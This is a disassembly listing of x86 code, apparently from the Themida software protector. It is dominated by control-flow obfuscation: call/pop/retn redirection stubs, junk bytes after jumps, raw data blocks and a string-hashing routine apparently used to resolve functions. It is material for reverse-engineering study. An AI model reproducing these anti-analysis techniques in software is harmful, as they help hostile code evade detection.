loc_5B54E6:				; CODE XREF: sub_5B4FCF+507j
		lea	eax, [ebp+6143B4Eh]
		pusha
		jmp	loc_5B54F8
; ---------------------------------------------------------------------------
		dw 9B24h
		dd 0CEE6B70Ah
; ---------------------------------------------------------------------------


loc_5B54F8:				; CODE XREF: sub_5B4FCF+51Ej
		mov	edx, [ebp+6142E55h]
		popa
		jmp	eax
; ---------------------------------------------------------------------------
		stc


loc_5B5502:				; CODE XREF: sub_5B4FCF+4DBj
					; sub_5B4FCF+4FBj
		mov	eax, [ebp+6142965h]
		cmc
		cmp	[esp-4+arg_4], eax
		jnz	loc_5B551F
		clc
		mov	dword ptr [ebp+61778DAh], 1
		cld


loc_5B551F:				; CODE XREF: sub_5B4FCF+53Ej
		pusha
		push	0
		push	eax
		call	loc_5B552B
		and	[eax-3Dh], bl


loc_5B552B:				; CODE XREF: sub_5B4FCF+554p
		pop	eax
		mov	[esp+20h+var_1C], eax
		add	[esp+20h+var_1C], 15h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		or	[eax], al
		mov	di, cx
		mov	edi, ecx
		popa
		jmp	loc_5B5566
; ---------------------------------------------------------------------------
		jmp	near ptr word_5B5562
; ---------------------------------------------------------------------------
		dw 8F1Fh
		dd 0C8E72702h, 0EC866EEEh, 5B1ECCB5h, 0F5EA27CFh
		db 42h,	0ECh
word_5B5562	dw 0			; CODE XREF: sub_5B4FCF+57Aj
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B5566:				; CODE XREF: sub_5B4FCF+575j
		mov	eax, 1


loc_5B556B:				; CODE XREF: sub_5B4FCF+5A4j
		xchg	eax, [ebp+61779C6h]
		or	eax, eax
		jnz	short loc_5B556B
		push	dword ptr [ebp+6140849h]
		pop	dword ptr [ebp+61778D2h]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+6140801h]
		cmp	dword ptr [ebp+6142B35h], 0
		jz	short loc_5B559C
		push	0
		call	dword ptr [ebp+6142971h]


loc_5B559C:				; CODE XREF: sub_5B4FCF+5C3j
		cmp	dword ptr [ebp+6142FE5h], 1
		jz	short loc_5B55B2
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+6140801h]


loc_5B55B2:				; CODE XREF: sub_5B4FCF+5D4j
		jmp	loc_5B55C1
; ---------------------------------------------------------------------------
		db 9Dh
		dd 0CE3BAB11h, 7B4D3DECh
		db 0A0h
; ---------------------------------------------------------------------------


loc_5B55C1:				; CODE XREF: sub_5B4FCF:loc_5B55B2j
		push	0
		push	ebp
		call	loc_5B55CC
		and	[ebp-3Dh], bl


loc_5B55CC:				; CODE XREF: sub_5B4FCF+5F5p
		pop	ebp
		mov	[esp+1Ch+var_18], ebp
		add	[esp+1Ch+var_18], 1Dh
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		popf
		jno	short loc_5B561F
		mov	ch, 38h
		mov	ah, 0F9h
		test	dl, 0FDh
		jns	loc_5B55F2
		sub	[ebp+61422E1h],	edx


loc_5B55F2:				; CODE XREF: sub_5B4FCF+617j
		sub	eax, eax
		push	0
		push	edx
		call	loc_5B55FF
		and	[edx-3Dh], bl


loc_5B55FF:				; CODE XREF: sub_5B4FCF+628p
		pop	edx
		mov	[esp+20h+var_1C], edx
		add	[esp+20h+var_1C], 14h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2824548Bh, 2D8589F8h, 6A06142Eh
		db 0, 55h, 0E8h
; ---------------------------------------------------------------------------


loc_5B561F:				; CODE XREF: sub_5B4FCF+60Ej
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 20h
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		pop	ebp
		mov	[esp+14h+var_10], ebp
		add	[esp+14h+var_10], 1Ch
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		lahf
		adc	eax, [edx+6Ah]
		xor	ebp, [ebx+60D68EADh]
		push	edi
		push	esi
		pop	ebx
		pop	ebx
		add	si, 0D792h
		popa
		mov	esi, 3Ch
		push	0
		push	ebp
		call	loc_5B565A
		and	[ebp-3Dh], bl


loc_5B565A:				; CODE XREF: sub_5B4FCF+683p
		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		jbe	short near ptr loc_5B566C+3


loc_5B566C:				; CODE XREF: sub_5B4FCF+69Bj
		ror	dword ptr [ebp-3DF50391h], 0C9h
		jz	loc_5B567F
		sub	[ebp+6141005h],	edx


loc_5B567F:				; CODE XREF: sub_5B4FCF+6A4j
		add	esi, [esp+arg_20]
		jle	loc_5B5695
		jmp	loc_5B5695
; ---------------------------------------------------------------------------
		dw 0F189h
		dd 95AE9646h
		db 89h
; ---------------------------------------------------------------------------


loc_5B5695:				; CODE XREF: sub_5B4FCF+6B4j
					; sub_5B4FCF+6BAj
		lodsw
		push	0
		push	esi
		call	loc_5B56A2
		and	[esi-3Dh], bl


loc_5B56A2:				; CODE XREF: sub_5B4FCF+6CBp
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 19h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		dw 1298h
		dd 0ED3F4923h, 28A0F60h, 60000000h, 44036161h, 0BF602424h
		dd 50214CE2h, 1FC18589h, 50610614h, 0BE666060h,	0DFBA4AD7h
		dd 610B7265h, 24048961h, 78408BF9h, 1860Fh, 83F80000h
		dd 1778DABDh, 850F0006h, 14Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0FBC35545h,	8858548Eh, 899ED65Eh
		dd 142E218Dh, 0EE906h, 183D0000h, 0CACCC160h, 5FB2BA78h
		dd 8AC2A5C0h, 0E9525050h, 0Ah, 50CF4EBDh, 3F8CFD18h, 310FF8F6h
		dd 61605250h, 0CE9310Fh, 0DB000000h, 0CFE12627h, 980036CDh
		dd 5A6AA8FFh, 89585A58h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 935B82C3h, 549C066Ch
		dd 60B7AF66h, 18059501h, 8B0F0614h, 2, 8B616160h, 6A2C2444h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 2D96C350h, 103DBD29h, 0F900614h, 1585h, 10E900h
		dd 0F3150000h, 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 6050663Dh
		dd 50BA83B1h, 613445E4h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 8161C232h, 0FE860h, 0D8350000h
		dd 94A25B2h, 71ECC27Fh,	58C7CB81h, 0EDBD8B85h, 5F06140Fh
		dd 858D61F5h, 61741CBh,	6800Fh,	0BD090000h, 6140CFDh, 8B60D0FFh
		dd 0A38CB8D0h, 3611420h, 6A282444h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9C2EC352h
		dd 0FC5CA1FCh, 6018408Bh, 0AE9h, 650F2F00h, 0CD10BB2Eh
		dd 618AA4E1h, 9D852940h, 89061416h, 140E39BDh, 0D6858906h
		dd 6A061778h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 4B8CC350h, 0BD899C93h,	6142A8Dh
		dd 0A899589h, 0F9580614h, 6A78708Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0B5D1C351h
		dd 7E91Fh, 5EC00000h, 709ACB9Eh, 1CC683C9h, 0C8C0Fh, 8C0F0000h
		dd 6, 25DBD29h,	0F5960614h, 1DB58B60h, 52061405h, 116D8D01h
		dd 615E0614h, 24247C81h, 10000000h, 0F1870Fh, 1600000h
		dd 1417B195h, 0AEBB6606h, 0F90615Ch, 248Ah, 0E9525000h
		dd 13h,	0B6FD8AC0h, 3CBF3487h, 667D6CA0h, 4713B226h, 0F5658E2h
		dd 0F525031h, 5A585A31h, 52505058h, 7E95250h, 0C1000000h
		dd 9862449Eh, 310FA7F1h, 5E9h, 0B5447700h, 585AA614h, 9E9310Fh
		dd 0B8000000h, 7CB8FB7Fh, 0C7719A72h, 190585Ah,	14308DBDh
		dd 24448B06h, 8D896028h, 614162Dh, 10E99061h, 0FA000000h
		dd 0F54D3EBh, 0D28A3FB0h, 0C5B89A43h, 50644986h, 0FE95250h
		dd 0
; ---------------------------------------------------------------------------
		sbb	al, 1Fh
		xchg	eax, edx
		jmp	edx
; ---------------------------------------------------------------------------
		db 0E0h, 3Ah, 1Ch
		dd 16477719h, 310F67AFh, 66CB8B60h, 5A61F18Bh, 95899058h
		dd 6141041h, 41CB858Dh,	85090617h, 6142D55h, 6AD0FFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 6135DDC3h, 6FA28D72h, 18E1B589h, 96F90614h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D3C35343h, 6CBE851Bh
		dd 9509E483h, 61419ADh,	959D8B60h, 0E806141Bh, 12h, 5A168880h
		dd 8E87E0C5h, 99C87868h, 0F12EFB45h, 0BD89ABFDh, 6142B41h
		dd 7403615Bh, 9D892424h, 61409C5h, 0CD9BD8Dh, 8B0F0614h
		dd 1, 6AADF9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 7294FFC3h, 810F3A82h, 1,	247C81F9h
		dd 24h,	0E9870F10h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 29B9C355h, 1400DD85h
		dd 0F90FC06h, 178Fh, 12E900h, 0D8090000h, 3CDF60D6h, 0D318D640h
		dd 0FD8D2F53h, 6701972Fh, 0AE950h, 0C6A90000h, 7E1B964Dh
		dd 0B39DFF33h, 0BDBD8990h, 8B061430h, 0F9282444h, 0E860Fh
		dd 89600000h, 1403F1B5h, 41858906h, 61061413h, 13E990h
		dd 6E2E0000h, 928774C6h, 1AB67F7h, 43D38833h, 0AC528BE5h
		dd 5250507Eh, 6860Fh, 890F0000h, 0
		dd 810F310Fh, 18h, 13E9h, 0B3E73800h, 88E67E4h,	0B020B215h
		dd 2F9E1AA6h, 6507EBEEh, 0E990585Ah, 9,	97D0ABD8h, 7D07B3F8h
		dd 0CB858DDFh, 0F9061741h, 11E9D0FFh, 0EF000000h, 4173E162h
		dd 6C5384Ch, 67B48E1Bh,	0B4F9129Eh, 24244403h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 56C35747h, 34F951Ch
		dd 762ABC28h, 12880F6Fh, 0E9000000h, 0Dh, 0AA2F1A91h, 3EB682D6h
		dd 16BEEFC8h, 6660AB00h, 8272CB81h, 267D9D89h, 81610614h
		dd 10000FAh, 55820F00h,	0F5000008h, 16AD8589h, 0BD8D0614h
		dd 6142655h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	4EC35141h, 880F608Bh, 6, 870Fh,	61F90000h, 33F99501h
		dd 6AAD0614h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 1933C356h, 1810F5Ch, 0F8000000h
		dd 24247C81h, 10000000h, 0E4870Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 24C345C3h
		dd 3E74AF2Dh, 89CA4EFEh, 14098DBDh, 0F98D2906h,	50061412h
		dd 50605250h, 5A310F52h, 0C38B6658h, 60310F61h,	2904B1B8h
		dd 61D7B04Eh, 489585Ah,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 9E9B8E8h, 0A9000000h
		dd 37EEC307h, 0E106FB9Dh, 2824448Bh, 0B58960F9h, 6142DC5h
		dd 0BC477CB8h, 60906170h, 0F0BE6651h, 8B665EC1h, 0E95061DAh
		dd 11h,	0B30ACF28h, 0CC78DC19h,	0AF5FA7D3h, 6071BDD6h
		dd 6A90E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0B45155C3h, 858D2220h, 61741CBh, 1918589h
		dd 0D0FF0614h, 1398589h, 44030614h, 6A2424h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F0B421C3h
		dd 638E50F5h, 99BD8B60h, 80061419h, 0F861B5E9h,	0EE96090h
		dd 93000000h, 0E033791Ah, 0FAB89965h, 6594684Ah, 6B1FBA05h
		dd 506149AFh, 0DAB96660h, 0F525065h, 61585A31h,	50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0CE22BB10h, 0AD5CE6B5h, 0ABFC4569h, 1890Fh, 8DF90000h
		dd 14157DBDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 573E53Bh,	0E9339655h, 0Dh, 8C4EE81Bh
		dd 0C3CC8826h, 0CFC89E1Dh, 798D29AAh, 0AD061410h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 34C35343h, 0F992FBC9h
		dd 28247C81h, 10000000h, 14A870Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 191B87C3h
		dd 5090F8F4h, 0E9525052h, 11h, 0EC8DECFEh, 1415520Ah, 0D4A99346h
		dd 45D30AEFh, 0E9310F5Dh, 0Eh, 41753A6Bh, 0EDB1197Eh, 0EA675004h
		dd 585A5AB5h, 8B0F310Fh, 6, 840Fh, 585A0000h, 52506050h
		dd 8F0F310Fh, 0
		dd 9061585Ah, 2A618589h, 448B0614h, 89602C24h, 142DD18Dh
		dd 14E806h, 0A87F0000h,	1CDE30EAh, 0D89D029Dh, 0EAA2D60Ah
		dd 0BED1DDE2h, 8D2BA380h, 6142019h, 0E9906158h,	14h, 2F08F8F6h
		dd 322B2828h, 5E2DADB8h, 2E2EAEA1h, 0C085DDAEh,	0E9525050h
		dd 7, 0D2F32659h, 0F840072h, 810F6031h,	0
; ---------------------------------------------------------------------------
		jmp	loc_5B5F2E
; ---------------------------------------------------------------------------
		db 0D9h, 9Ah, 16h
; ---------------------------------------------------------------------------
		add	al, 83h
		mov	esp, 0D99C61F7h
		cmp	ch, [ebx]
		movsb
		test	[ebx], bl
		db	64h
		popf


loc_5B5F2E:				; CODE XREF: sub_5B4FCF+F49j
		popa
		pop	edx
		pop	eax
		nop
		jmp	loc_5B5F44
; ---------------------------------------------------------------------------
		db 0FEh
		dd 526D3610h, 0F683364Eh, 6E07CE64h
; ---------------------------------------------------------------------------


loc_5B5F44:				; CODE XREF: sub_5B4FCF+F63j
		lea	eax, [ebp+61741CBh]
		push	0
		push	ecx
		call	loc_5B5F55
		and	[ecx-3Dh], bl


loc_5B5F55:				; CODE XREF: sub_5B4FCF+F7Ep
		pop	ecx
		mov	[esp-20h+arg_20], ecx
		add	[esp-20h+arg_20], 19h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 7Eh,	0BDh, 69h
; ---------------------------------------------------------------------------
		mov	ch, 27h
		push	eax
		jz	loc_5B5F7C
		jmp	loc_5B5F7C
; ---------------------------------------------------------------------------
		dw 1AA9h
		dd 0CB4DD57h
; ---------------------------------------------------------------------------


loc_5B5F7C:				; CODE XREF: sub_5B4FCF+F9Cj
					; sub_5B4FCF+FA2j
		call	eax
		pusha
		mov	ebx, [ebp+6142C25h]
		mov	esi, [ebp+6140085h]
		popa
		add	eax, [esp-18h+arg_3C]
		push	0
		push	eax
		call	loc_5B5F9B
		and	[eax-3Dh], bl


loc_5B5F9B:				; CODE XREF: sub_5B4FCF+FC4p
		pop	eax
		mov	[esp-14h+arg_14], eax
		add	[esp-14h+arg_14], 19h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		pop	esp
		enter	9CDh, 58h
		daa
		or	[ebp+61419B5h],	esi
		stosd
		mov	[ebp+6140DA9h],	esi
		pop	esi


loc_5B5FBF:				; CODE XREF: sub_5B4FCF+108Ej
		dec	dword ptr [ebp+61778D6h]
		cmp	dword ptr [ebp+61778D6h], 0
		jnz	short loc_5B5FD8
		xor	eax, eax
		lea	esi, [ebp+6178828h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_5B5FD8:				; CODE XREF: sub_5B4FCF+FFDj
		push	esi
		lodsd
		cmp	[esp+0A20h+var_9F8], 10000000h
		ja	short loc_5B5FF2
		push	eax
		mov	eax, [esp+0A24h+var_9F8]
		push	eax
		lea	eax, [ebp+61741CBh]
		call	eax


loc_5B5FF2:				; CODE XREF: sub_5B4FCF+1013j
		add	eax, [esp+0A28h+var_A00]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+61778D2h]
		test	al, al
		jz	short loc_5B6007
		cmp	al, [edi]
		jnz	short loc_5B6053


loc_5B6007:				; CODE XREF: sub_5B4FCF+1032j
		push	edi
		xor	al, al


loc_5B600A:				; CODE XREF: sub_5B4FCF+103Cj
		scasb
		jnz	short loc_5B600A
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_5B6017:				; CODE XREF: sub_5B4FCF+1071j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_5B6026:				; CODE XREF: sub_5B4FCF+106Aj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_5B6037
		xor	ax, 5041h
		xor	bx, 5449h


loc_5B6037:				; CODE XREF: sub_5B4FCF+105Dj
		dec	dh
		jnz	short loc_5B6026
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_5B6017
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_5B6062


loc_5B6053:				; CODE XREF: sub_5B4FCF+1036j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+6142E2Dh]
		jmp	loc_5B5FBF
; ---------------------------------------------------------------------------


loc_5B6062:				; CODE XREF: sub_5B4FCF+1082j
		pop	esi
		push	0
		push	ebx
		call	loc_5B606E
		and	[ebx-3Dh], bl


loc_5B606E:				; CODE XREF: sub_5B4FCF+1097p
		pop	ebx
		mov	[esp+0A28h+var_A24], ebx
		add	[esp+0A28h+var_A24], 1Ah
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		sal	byte ptr [eax-4D5DB17Ah], 0D7h
		pusha
		mov	[ebp+61408A1h],	edi
		jmp	loc_5B609D
; ---------------------------------------------------------------------------
		db 0B2h, 0EAh, 0D2h
		dd 0C8E9D4E3h, 75457B50h
		db 0C2h
; ---------------------------------------------------------------------------


loc_5B609D:				; CODE XREF: sub_5B4FCF+10BDj
		popa
		jmp	loc_5B60AA
; ---------------------------------------------------------------------------
		db 0D8h
		dd 0A8D05649h
		db 35h,	4Eh
; ---------------------------------------------------------------------------


loc_5B60AA:				; CODE XREF: sub_5B4FCF+10CFj
		mov	eax, [ebp+6142E2Dh]
		push	0
		push	edx
		call	loc_5B60BB
		and	[edx-3Dh], bl


loc_5B60BB:				; CODE XREF: sub_5B4FCF+10E4p
		pop	edx
		mov	[esp+0A30h+var_A2C], edx
		add	[esp+0A30h+var_A2C], 18h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		mov	eax, ds:9818057Ch
		mov	[ebp+6141381h],	edi
		shl	eax, 1
		jb	loc_5B60F5
		jb	loc_5B60F5
		jmp	loc_5B60F5
; ---------------------------------------------------------------------------
		db 0A3h, 0A2h, 0B5h
		dd 69E087A2h, 180F2CB2h
		db 0A2h
; ---------------------------------------------------------------------------


loc_5B60F5:				; CODE XREF: sub_5B4FCF+1109j
					; sub_5B4FCF+110Fj ...
		add	eax, [ebp+614157Dh]
		push	0
		push	edx
		call	loc_5B6106
		and	[edx-3Dh], bl


loc_5B6106:				; CODE XREF: sub_5B4FCF+112Fp
		pop	edx
		mov	[esp+0A38h+var_A34], edx
		add	[esp+0A38h+var_A34], 18h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		dw 779h
		dd 60189893h, 59D98166h, 0ED850B6Ch, 61061423h,	0BEh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 14E96Ch, 0A1C10000h,	0DD80B8AFh, 16264237h, 6C73F678h
		dd 0DE6625E6h, 6A96417Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 2B9FC351h, 95251CBh
		dd 140C5195h, 6AAD6606h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 3EACC352h, 0A227D7E6h
		dd 892295D1h, 14078DBDh, 2E0C106h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 5DC35242h, 8D892592h, 6140255h
		dd 0CD98503h, 89600614h, 1416AD9Dh, 6188B206h, 0F8ADF896h
		dd 24247C81h, 10000000h, 180870Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0E6E384C3h
		dd 585681E2h, 800F40EAh, 8, 599D3160h, 6106140Ch, 10890F90h
		dd 0E9000000h, 0Bh, 0D03CCF6Ah,	2E24EE5Eh, 50E79584h, 52505250h
		dd 0CE9h, 13866F00h, 0D0EC93DBh, 0B6C6106Eh, 0F310FDAh
		dd 80h,	0F585A00h, 0DE931h, 42BA0000h, 90E48ECBh, 0CF4716EFh
		dd 5AAAEB53h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0CE775AC3h, 0DC1C0FF0h, 6660B72Dh
		dd 0F32AFB8h, 8B61DEB7h, 6A282444h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5552C355h
		dd 9F0FC3Dh, 14191995h,	52509006h, 0F616060h, 89h, 310F6100h
		dd 5165B060h, 585A615Ah, 7E950h, 0D7F70000h, 6A70A5FEh
		dd 6A9059h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0B0BD8FC3h, 0D08154FDh, 858D3C6Dh, 61741CBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 2AC35646h
		dd 11AE1A96h, 19ED9D89h, 0EE90614h, 61000000h, 0DC71413Eh
		dd 9CC2CF50h, 681EDB70h, 6AD0FF28h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 284CC350h
		dd 440374DFh, 6A2424h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0CD8681C3h, 7E96707h, 0C6000000h
		dd 66EF60h, 0F8602A68h,	0CE960h, 212F0000h, 0D260B343h
		dd 0AE947B51h, 61615EABh, 1C244489h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 5AC35646h, 4985C6FCh, 61408h
		dd 79C685C7h, 617h, 85C70000h, 61778DAh, 0
; ---------------------------------------------------------------------------
		jmp	loc_5B6417
; ---------------------------------------------------------------------------
		db 47h,	0Ch, 5Fh
		dd 378BC87Ah, 0A74EC530h, 7F2BD3D0h
		db 0B4h, 66h, 0Fh
; ---------------------------------------------------------------------------


loc_5B6417:				; CODE XREF: sub_5B4FCF+1431j
		push	0
		push	edx
		call	loc_5B6422
		and	[edx-3Dh], bl


loc_5B6422:				; CODE XREF: sub_5B4FCF+144Bp
		pop	edx
		mov	[esp+0A40h+var_A3C], edx
		add	[esp+0A40h+var_A3C], 19h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		and	[ebx-241333FDh], dl
		popa
		mov	[ebp+614231Dh],	ecx
		retn	8
; ---------------------------------------------------------------------------
		mov	[ebp+6140141h],	ecx
		mov	eax, [ebp+6140CD9h]
		pusha
		sub	eax, [ebp+61412DDh]
		pusha
		adc	edi, 2489EBFAh
		mov	[ebp+61434C1h],	esi
		popa
		popa
		dec	edx
		sub	[ebp+6140C51h],	ecx
		imul	edx, 4
		clc
		add	eax, edx
		push	0
		push	edi
		call	loc_5B647C
		and	[edi-3Dh], bl


loc_5B647C:				; CODE XREF: sub_5B4FCF+14A5p
		pop	edi
		mov	[esp+0A28h+var_A24], edi
		add	[esp+0A28h+var_A24], 17h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		dd 0ABEB52B8h, 816660F8h, 616B36EFh, 0ADFC96F9h, 6840Fh
		dd 9D890000h, 6140999h,	24247C81h, 10000000h, 0F3870Fh
		dd 8A0F0000h, 1Ah, 14870Fh, 0FE90000h, 0A4000000h, 640CBEA5h
		dd 0F0BAC6BCh, 603E9EDBh, 0F50A5F7h, 168Eh, 11E900h, 61710000h
		dd 0C13A4FD6h, 0BF7BF266h, 786099FDh, 8918E010h, 8BF82404h
		dd 6A282444h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0E490C355h, 9D89F862h,	6141B6Dh
		dd 0EE9h, 7F248500h, 503BC5B7h,	0BE598A54h, 50E775D8h
		dd 890F5250h, 13h, 0EE9h, 304C00h, 0DDA731D2h, 6EC1F284h
		dd 0FFF0277h, 5B526031h, 310F5250h, 5A61585Ah, 24048958h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D9C35141h
		dd 0D75CD0AAh, 0CC381D4Dh, 3018529h, 858D0614h,	61741CBh
		dd 0CE9h, 247A1300h, 83B8483Ah,	0B4F4AC50h, 31D0FFC5h
		dd 140AE195h, 0FDD0E906h, 8B60FFFFh, 14297D8Dh,	6840F06h
		dd 8B000000h, 141075B5h, 0BE96106h, 0A1000000h,	7C00BAF6h
		dd 68206FAh
; ---------------------------------------------------------------------------
		pop	edx
		xchg	eax, ebp


loc_5B65D2:				; CODE XREF: sub_5B4FCF:loc_5B547Aj
		lea	eax, [ebp+6178E49h]
		jg	loc_5B65EA
		ja	loc_5B65EA
		jnz	$+6


loc_5B65EA:				; CODE XREF: sub_5B4FCF+1609j
					; sub_5B4FCF+160Fj
		nop
		pusha
		popa
		push	eax
		pusha
		popa
		nop
		push	0
		push	edi
		call	sub_5B65FC
		and	[edi-3Dh], bl
sub_5B4FCF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B65FC	proc near		; CODE XREF: sub_5B4FCF+1625p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5B65FC	endp

; ---------------------------------------------------------------------------
		and	al, [edx-7DAB97F6h]
		cmp	al, 15h
		pop	esi
		fldcw	word ptr [ecx]
		xchg	eax, ebp
		or	eax, 64061434h
		push	large dword ptr	ds:0
		mov	[ebp+61403F9h],	eax
		mov	eax, [esp]
		push	0
		push	ecx
		call	sub_5B6637
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6637	proc near		; CODE XREF: Themida_:005B662Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5B6637	endp

; ---------------------------------------------------------------------------
		db 0E9h
		dd 0B409F102h, 78708398h, 18B18D01h, 85890614h,	6140781h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 45C35747h
		dd 0F602FF4h, 685h, 45B58900h, 0BE061420h, 1B089FC0h, 25896461h
		dd 0
; ---------------------------------------------------------------------------
		pusha
		mov	dx, 0A751h
		mov	ebx, [ebp+6141E5Dh]
		popa
		lea	eax, [ebp+6178B9Fh]
		push	0
		push	edi
		call	sub_5B66B1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B66B1	proc near		; CODE XREF: Themida_:005B66A9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5B66B1	endp

; ---------------------------------------------------------------------------
		pop	ebp
		mov	ds:0E9858960h, eax
		pop	ds
		adc	al, 6
		mov	[ebp+6140415h],	edi
		popa
		mov	[eax+1], esp
		push	0
		push	edi
		call	sub_5B66DF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B66DF	proc near		; CODE XREF: Themida_:005B66D7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5B66DF	endp

; ---------------------------------------------------------------------------
		sub	al, 17h
		db	67h
		mov	edx, esp
		xor	[ebp+6141B79h],	esi
		jmp	loc_5B6A12
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5B670A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B670A	proc near		; CODE XREF: Themida_:005B6702p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5B670A	endp

; ---------------------------------------------------------------------------
		dw 0DF73h
		dd 0AE951E9h, 48000000h, 5030FCFDh, 0C39D4F3h, 0E8DB8B69h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6178B98h
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+6142FE5h], 0
		jz	short loc_5B6761
		mov	eax, [ebp+6140055h]
